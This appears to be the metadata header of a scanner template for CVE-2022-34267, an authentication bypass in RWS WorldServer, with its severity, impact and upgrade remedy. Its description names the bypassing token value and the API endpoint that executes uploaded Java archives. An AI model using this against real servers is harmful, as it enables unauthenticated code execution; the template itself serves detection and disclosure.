RWS WorldServer - Authentication Bypass

id: CVE-2022-34267

info:
  name: RWS WorldServer - Authentication Bypass
  author: pdresearch,iamnoooob,rootxharsh,parthmalhotra
  severity: critical
  description: |
    An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
  impact: |
    Unauthenticated attackers can bypass all authentication by adding a token parameter with value 02, then upload and execute arbitrary Java code via JAR archives, potentially compromising the translation management system and accessing sensitive multilingual content.
  remediation: |
    Upgrade to RWS WorldServer version 11.7.3 or later that properly validates authentication tokens and restricts API access.
